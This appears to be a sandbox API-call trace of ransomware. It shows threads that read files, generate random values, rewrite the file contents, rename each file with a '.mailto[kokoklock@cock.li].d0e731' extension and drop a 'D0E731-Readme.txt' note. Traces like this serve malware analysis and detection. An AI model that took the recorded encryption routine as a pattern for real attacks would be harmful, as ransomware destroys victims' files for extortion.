[0063.901] RtlRandom (in: Seed=0xb5afa60 | out: Seed=0xb5afa60) returned 0x632339f2 [0063.901] RtlRandom (in: Seed=0xb5afa60 | out: Seed=0xb5afa60) returned 0xe5cd0f76 [0063.901] RtlRandom (in: Seed=0xb5afa60 | out: Seed=0xb5afa60) returned 0x3f63ac05 [0063.901] RtlRandom (in: Seed=0xb5afa60 | out: Seed=0xb5afa60) returned 0x9af1bafa [0063.901] RtlRandom (in: Seed=0xb5afa60 | out: Seed=0xb5afa60) returned 0x626f8a37 [0063.901] RtlRandom (in: Seed=0xb5afa60 | out: Seed=0xb5afa60) returned 0x423507ef [0063.901] RtlRandom (in: Seed=0xb5afa60 | out: Seed=0xb5afa60) returned 0xf66ac65a [0063.901] RtlRandom (in: Seed=0xb5afa60 | out: Seed=0xb5afa60) returned 0x418ea6ad [0063.901] RtlRandom (in: Seed=0xb5afa60 | out: Seed=0xb5afa60) returned 0x5eae764c [0063.901] RtlRandom (in: Seed=0xb5afa60 | out: Seed=0xb5afa60) returned 0xf264a7fd [0063.901] RtlRandom (in: Seed=0xb5afa60 | out: Seed=0xb5afa60) returned 0xab19fde1 [0063.901] RtlRandom (in: Seed=0xb5afa60 | out: Seed=0xb5afa60) returned 0xb6e79d66 [0063.901] RtlRandom (in: Seed=0xb5afa60 | out: Seed=0xb5afa60) returned 0x92a77b84 [0063.910] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33f0030 [0063.912] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479b50 [0063.912] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33f0058 [0063.912] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0063.912] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efd88) returned 1 [0063.912] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55e07c8 [0063.913] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.913] ReadFile (in: hFile=0x398, lpBuffer=0x55e07c8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xb5afa2c, lpOverlapped=0x0 | out: lpBuffer=0x55e07c8*, lpNumberOfBytesRead=0xb5afa2c*=0x4096, lpOverlapped=0x0) returned 1 [0064.293] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.293] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcff8 [0064.293] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479b50 [0064.293] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33eff90 [0064.293] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eff90) returned 1 [0064.294] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x5614fe8 [0064.294] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33f0080 [0064.294] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33eff18 [0064.294] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eff18) returned 1 [0064.294] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0064.294] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0064.294] WriteFile (in: hFile=0x398, lpBuffer=0x5614fe8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xb5afa2c, lpOverlapped=0x0 | out: lpBuffer=0x5614fe8*, lpNumberOfBytesWritten=0xb5afa2c*=0x4096, lpOverlapped=0x0) returned 1 [0064.294] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x5614fe8) returned 1 [0064.294] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xed90, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.294] WriteFile (in: hFile=0x398, lpBuffer=0x33f0080*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb5afa64, lpOverlapped=0x0 | out: lpBuffer=0x33f0080*, lpNumberOfBytesWritten=0xb5afa64*=0x20, lpOverlapped=0x0) returned 1 [0064.294] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f0080) returned 1 [0064.294] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55e07c8) returned 1 [0064.296] WriteFile (in: hFile=0x398, lpBuffer=0x33f0058*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xb5afa78, lpOverlapped=0x0 | out: lpBuffer=0x33f0058*, lpNumberOfBytesWritten=0xb5afa78*=0x8, lpOverlapped=0x0) returned 1 [0064.296] WriteFile (in: hFile=0x398, lpBuffer=0xb5afa90*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb5afa78, lpOverlapped=0x0 | out: lpBuffer=0xb5afa90*, lpNumberOfBytesWritten=0xb5afa78*=0x4, lpOverlapped=0x0) returned 1 [0064.297] WriteFile (in: hFile=0x398, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb5afa78, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xb5afa78*=0x4, lpOverlapped=0x0) returned 1 [0064.297] WriteFile (in: hFile=0x398, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xb5afa78, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xb5afa78*=0x6c, lpOverlapped=0x0) returned 1 [0064.297] WriteFile (in: hFile=0x398, lpBuffer=0x33effb8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb5afa78, lpOverlapped=0x0 | out: lpBuffer=0x33effb8*, lpNumberOfBytesWritten=0xb5afa78*=0x20, lpOverlapped=0x0) returned 1 [0064.297] WriteFile (in: hFile=0x398, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb5afa78, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xb5afa78*=0x4, lpOverlapped=0x0) returned 1 [0064.297] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33effb8) returned 1 [0064.297] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f0030) returned 1 [0064.297] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f0058) returned 1 [0064.297] CloseHandle (hObject=0x398) returned 1 [0064.537] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9c) returned 0x33e67c8 [0064.537] wcscpy (in: _Dest=0x33e67c8, _Source="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" [0064.537] wcscat (in: _Dest=0x33e67c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0064.537] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0064.538] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0064.538] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e67c8) returned 1 [0064.538] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml", dwFileAttributes=0x80) returned 0 [0064.538] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x34274e0 [0064.538] wcscpy (in: _Dest=0x34274e0, _Source="C:\\588bce7c90097ed212\\3076\\" | out: _Dest="C:\\588bce7c90097ed212\\3076\\") returned="C:\\588bce7c90097ed212\\3076\\" [0064.538] wcscat (in: _Dest=0x34274e0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\3076\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\3076\\D0E731-Readme.txt" [0064.538] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\3076\\d0e731-readme.txt")) returned 0x20 [0064.538] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34274e0) returned 1 [0064.538] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e8808) returned 1 [0064.538] RtlExitUserThread (Status=0x1) Thread: id = 212 os_tid = 0x11c8 [0063.469] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf")) returned 0x80 [0063.473] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf", dwFileAttributes=0x20) returned 1 [0063.473] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0063.473] GetFileSizeEx (in: hFile=0x394, lpFileSize=0xb62fcf4 | out: lpFileSize=0xb62fcf4*=4015) returned 1 [0063.473] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0xfab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.473] ReadFile (in: hFile=0x394, lpBuffer=0xb62fcc8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xb62fcc4, lpOverlapped=0x0 | out: lpBuffer=0xb62fcc8*, lpNumberOfBytesRead=0xb62fcc4*=0x4, lpOverlapped=0x0) returned 1 [0063.913] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.913] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efd88 [0063.913] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33f00d0 [0063.913] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33f00f8 [0063.913] NtQuerySystemTime (in: CurrentTime=0xb62fca0 | out: CurrentTime=0xb62fca0*=132121176217999357) returned 0x0 [0063.913] RtlRandom (in: Seed=0xb62fcac | out: Seed=0xb62fcac) returned 0x5951de7c [0063.914] RtlRandom (in: Seed=0xb62fcac | out: Seed=0xb62fcac) returned 0x2bca6a15 [0063.914] RtlRandom (in: Seed=0xb62fcac | out: Seed=0xb62fcac) returned 0xbbdeea82 [0063.914] RtlRandom (in: Seed=0xb62fcac | out: Seed=0xb62fcac) returned 0x69b13531 [0063.914] RtlRandom (in: Seed=0xb62fcac | out: Seed=0xb62fcac) returned 0x2d0f3e1e [0063.914] RtlRandom (in: Seed=0xb62fcac | out: Seed=0xb62fcac) returned 0x480962e8 [0063.914] RtlRandom (in: Seed=0xb62fcac | out: Seed=0xb62fcac) returned 0x11458ca2 [0063.914] RtlRandom (in: Seed=0xb62fcac | out: Seed=0xb62fcac) returned 0x1e7f14b4 [0063.914] RtlRandom (in: Seed=0xb62fcac | out: Seed=0xb62fcac) returned 0xce8feaa4 [0063.914] RtlRandom (in: Seed=0xb62fcac | out: Seed=0xb62fcac) returned 0x6146e4d8 [0063.914] RtlRandom (in: Seed=0xb62fcac | out: Seed=0xb62fcac) returned 0x79583f73 [0063.914] RtlRandom (in: Seed=0xb62fcac | out: Seed=0xb62fcac) returned 0x76a1029b [0063.914] RtlRandom (in: Seed=0xb62fcac | out: Seed=0xb62fcac) returned 0x5c7376c3 [0063.914] RtlRandom (in: Seed=0xb62fcac | out: Seed=0xb62fcac) returned 0xc1e3acdd [0063.914] RtlRandom (in: Seed=0xb62fcac | out: Seed=0xb62fcac) returned 0x894cdc40 [0063.914] RtlRandom (in: Seed=0xb62fcac | out: Seed=0xb62fcac) returned 0x45fbe092 [0063.914] RtlRandom (in: Seed=0xb62fcac | out: Seed=0xb62fcac) returned 0xecbd660a [0063.914] RtlRandom (in: Seed=0xb62fcac | out: Seed=0xb62fcac) returned 0x68c55be9 [0063.914] RtlRandom (in: Seed=0xb62fcac | out: Seed=0xb62fcac) returned 0xdd083650 [0063.914] RtlRandom (in: Seed=0xb62fcac | out: Seed=0xb62fcac) returned 0x8d8f34b2 [0063.914] RtlRandom (in: Seed=0xb62fcac | out: Seed=0xb62fcac) returned 0x9422a4ab [0063.914] RtlRandom (in: Seed=0xb62fcac | out: Seed=0xb62fcac) returned 0x371c640a [0063.914] RtlRandom (in: Seed=0xb62fcac | out: Seed=0xb62fcac) returned 0xea9627f [0063.914] RtlRandom (in: Seed=0xb62fcac | out: Seed=0xb62fcac) returned 0x63c9045e [0063.914] RtlRandom (in: Seed=0xb62fcac | out: Seed=0xb62fcac) returned 0xd8cc805a [0063.914] RtlRandom (in: Seed=0xb62fcac | out: Seed=0xb62fcac) returned 0x551d5619 [0063.914] RtlRandom (in: Seed=0xb62fcac | out: Seed=0xb62fcac) returned 0xbda41e21 [0063.914] RtlRandom (in: Seed=0xb62fcac | out: Seed=0xb62fcac) returned 0x3b88e9e9 [0063.915] RtlRandom (in: Seed=0xb62fcac | out: Seed=0xb62fcac) returned 0x552b8a7 [0063.915] RtlRandom (in: Seed=0xb62fcac | out: Seed=0xb62fcac) returned 0x6f5ce52e [0063.915] RtlRandom (in: Seed=0xb62fcac | out: Seed=0xb62fcac) returned 0x2ab70063 [0063.915] RtlRandom (in: Seed=0xb62fcac | out: Seed=0xb62fcac) returned 0x159f7c0f [0063.923] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33f0148 [0063.925] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x34798f8 [0063.925] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33f0170 [0063.925] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34798f8) returned 1 [0063.925] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efd88) returned 1 [0063.925] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fce48 [0063.925] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479b50 [0063.925] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efd88 [0063.925] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efd88) returned 1 [0063.925] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55e4868 [0063.927] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55e8908 [0063.927] ReadFile (in: hFile=0x394, lpBuffer=0x55e4868, nNumberOfBytesToRead=0xfaf, lpNumberOfBytesRead=0xb62fca0, lpOverlapped=0x0 | out: lpBuffer=0x55e4868*, lpNumberOfBytesRead=0xb62fca0*=0xfaf, lpOverlapped=0x0) returned 1 [0063.927] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xb62fc68 | out: lpNewFilePointer=0x0) returned 1 [0063.927] WriteFile (in: hFile=0x394, lpBuffer=0x55e8908*, nNumberOfBytesToWrite=0xfaf, lpNumberOfBytesWritten=0xb62fc9c, lpOverlapped=0x0 | out: lpBuffer=0x55e8908*, lpNumberOfBytesWritten=0xb62fc9c*=0xfaf, lpOverlapped=0x0) returned 1 [0063.927] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efd88 [0063.927] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cb00 [0063.927] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cb00) returned 1 [0063.927] WriteFile (in: hFile=0x394, lpBuffer=0x33efd88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb62fc98, lpOverlapped=0x0 | out: lpBuffer=0x33efd88*, lpNumberOfBytesWritten=0xb62fc98*=0x20, lpOverlapped=0x0) returned 1 [0063.927] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efd88) returned 1 [0063.927] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55e8908) returned 1 [0063.927] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55e4868) returned 1 [0063.927] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0063.927] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fce48) returned 1 [0063.928] WriteFile (in: hFile=0x394, lpBuffer=0x33f0170*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xb62fcc4, lpOverlapped=0x0 | out: lpBuffer=0x33f0170*, lpNumberOfBytesWritten=0xb62fcc4*=0x8, lpOverlapped=0x0) returned 1 [0063.928] WriteFile (in: hFile=0x394, lpBuffer=0xb62fcdc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb62fcc4, lpOverlapped=0x0 | out: lpBuffer=0xb62fcdc*, lpNumberOfBytesWritten=0xb62fcc4*=0x4, lpOverlapped=0x0) returned 1 [0063.928] WriteFile (in: hFile=0x394, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb62fcc4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xb62fcc4*=0x4, lpOverlapped=0x0) returned 1 [0063.928] WriteFile (in: hFile=0x394, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xb62fcc4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xb62fcc4*=0x6c, lpOverlapped=0x0) returned 1 [0063.928] WriteFile (in: hFile=0x394, lpBuffer=0x33f00d0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb62fcc4, lpOverlapped=0x0 | out: lpBuffer=0x33f00d0*, lpNumberOfBytesWritten=0xb62fcc4*=0x20, lpOverlapped=0x0) returned 1 [0063.928] WriteFile (in: hFile=0x394, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb62fcc4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xb62fcc4*=0x4, lpOverlapped=0x0) returned 1 [0063.928] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f00d0) returned 1 [0063.928] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f0148) returned 1 [0063.928] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f0170) returned 1 [0063.928] CloseHandle (hObject=0x394) returned 1 [0063.929] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x33e21c8 [0063.929] wcscpy (in: _Dest=0x33e21c8, _Source="C:\\588bce7c90097ed212\\2070\\eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned="C:\\588bce7c90097ed212\\2070\\eula.rtf" [0063.929] wcscat (in: _Dest=0x33e21c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\2070\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\2070\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0063.929] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf.mailto[kokoklock@cock.li].d0e731")) returned 1 [0072.421] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0077.782] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e21c8) returned 1 [0077.782] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf", dwFileAttributes=0x80) returned 0 [0083.166] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x3426ec8 [0083.166] wcscpy (in: _Dest=0x3426ec8, _Source="C:\\588bce7c90097ed212\\2070\\" | out: _Dest="C:\\588bce7c90097ed212\\2070\\") returned="C:\\588bce7c90097ed212\\2070\\" [0083.166] wcscat (in: _Dest=0x3426ec8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\2070\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\2070\\D0E731-Readme.txt" [0083.166] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\2070\\d0e731-readme.txt")) returned 0x20 [0084.874] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426ec8) returned 1 [0084.874] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fa8c8) returned 1 [0084.874] RtlExitUserThread (Status=0x1) Thread: id = 213 os_tid = 0x11cc [0063.475] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml")) returned 0x80 [0063.475] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml", dwFileAttributes=0x20) returned 1 [0063.475] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0063.475] GetFileSizeEx (in: hFile=0x390, lpFileSize=0xb6afd94 | out: lpFileSize=0xb6afd94*=80254) returned 1 [0063.475] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x1397a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.475] ReadFile (in: hFile=0x390, lpBuffer=0xb6afd68, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xb6afd64, lpOverlapped=0x0 | out: lpBuffer=0xb6afd68*, lpNumberOfBytesRead=0xb6afd64*=0x4, lpOverlapped=0x0) returned 1 [0063.931] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.931] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cdd0 [0063.931] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cb00 [0063.931] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cee8 [0063.931] NtQuerySystemTime (in: CurrentTime=0xb6afd40 | out: CurrentTime=0xb6afd40*=132121176218309214) returned 0x0 [0063.931] RtlRandom (in: Seed=0xb6afd4c | out: Seed=0xb6afd4c) returned 0xafc09db9 [0063.931] RtlRandom (in: Seed=0xb6afd4c | out: Seed=0xb6afd4c) returned 0xaa5aa80b [0063.931] RtlRandom (in: Seed=0xb6afd4c | out: Seed=0xb6afd4c) returned 0xf7cc7bc9 [0063.931] RtlRandom (in: Seed=0xb6afd4c | out: Seed=0xb6afd4c) returned 0x7b2131c7 [0063.931] RtlRandom (in: Seed=0xb6afd4c | out: Seed=0xb6afd4c) returned 0xb8f2103c [0063.931] RtlRandom (in: Seed=0xb6afd4c | out: Seed=0xb6afd4c) returned 0x24830974 [0063.931] RtlRandom (in: Seed=0xb6afd4c | out: Seed=0xb6afd4c) returned 0x98a0e622 [0063.931] RtlRandom (in: Seed=0xb6afd4c | out: Seed=0xb6afd4c) returned 0xcbd42831 [0063.931] RtlRandom (in: Seed=0xb6afd4c | out: Seed=0xb6afd4c) returned 0x4a5f4302 [0063.931] RtlRandom (in: Seed=0xb6afd4c | out: Seed=0xb6afd4c) returned 0xee3a53e5 [0063.931] RtlRandom (in: Seed=0xb6afd4c | out: Seed=0xb6afd4c) returned 0xfd637b4e [0063.931] RtlRandom (in: Seed=0xb6afd4c | out: Seed=0xb6afd4c) returned 0x541355fb [0063.931] RtlRandom (in: Seed=0xb6afd4c | out: Seed=0xb6afd4c) returned 0x70fe5495 [0063.931] RtlRandom (in: Seed=0xb6afd4c | out: Seed=0xb6afd4c) returned 0x1bbd037b [0063.931] RtlRandom (in: Seed=0xb6afd4c | out: Seed=0xb6afd4c) returned 0x4132ed48 [0063.931] RtlRandom (in: Seed=0xb6afd4c | out: Seed=0xb6afd4c) returned 0xf2eea043 [0063.931] RtlRandom (in: Seed=0xb6afd4c | out: Seed=0xb6afd4c) returned 0x1003ce6f [0063.931] RtlRandom (in: Seed=0xb6afd4c | out: Seed=0xb6afd4c) returned 0xcd586a54 [0063.931] RtlRandom (in: Seed=0xb6afd4c | out: Seed=0xb6afd4c) returned 0xc9a1ec51 [0063.931] RtlRandom (in: Seed=0xb6afd4c | out: Seed=0xb6afd4c) returned 0xf3aeedbd [0063.932] RtlRandom (in: Seed=0xb6afd4c | out: Seed=0xb6afd4c) returned 0xd78f3f4c [0063.932] RtlRandom (in: Seed=0xb6afd4c | out: Seed=0xb6afd4c) returned 0x9c9772b0 [0063.932] RtlRandom (in: Seed=0xb6afd4c | out: Seed=0xb6afd4c) returned 0xcfbaece0 [0063.932] RtlRandom (in: Seed=0xb6afd4c | out: Seed=0xb6afd4c) returned 0x386001d6 [0063.932] RtlRandom (in: Seed=0xb6afd4c | out: Seed=0xb6afd4c) returned 0xd1125852 [0063.932] RtlRandom (in: Seed=0xb6afd4c | out: Seed=0xb6afd4c) returned 0x3c41c11 [0063.932] RtlRandom (in: Seed=0xb6afd4c | out: Seed=0xb6afd4c) returned 0x5dd168a3 [0063.932] RtlRandom (in: Seed=0xb6afd4c | out: Seed=0xb6afd4c) returned 0x9e112295 [0063.932] RtlRandom (in: Seed=0xb6afd4c | out: Seed=0xb6afd4c) returned 0x1084cbb3 [0063.932] RtlRandom (in: Seed=0xb6afd4c | out: Seed=0xb6afd4c) returned 0x4c28a44d [0063.932] RtlRandom (in: Seed=0xb6afd4c | out: Seed=0xb6afd4c) returned 0x6c715453 [0063.932] RtlRandom (in: Seed=0xb6afd4c | out: Seed=0xb6afd4c) returned 0xba9257c4 [0063.940] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33f00d0 [0063.942] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479b50 [0063.942] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33f0148 [0063.942] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0063.942] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cdd0) returned 1 [0063.943] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55e4868 [0063.943] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.943] ReadFile (in: hFile=0x390, lpBuffer=0x55e4868, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xb6afd18, lpOverlapped=0x0 | out: lpBuffer=0x55e4868*, lpNumberOfBytesRead=0xb6afd18*=0x4096, lpOverlapped=0x0) returned 1 [0064.299] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.299] RtlAllocateHeap 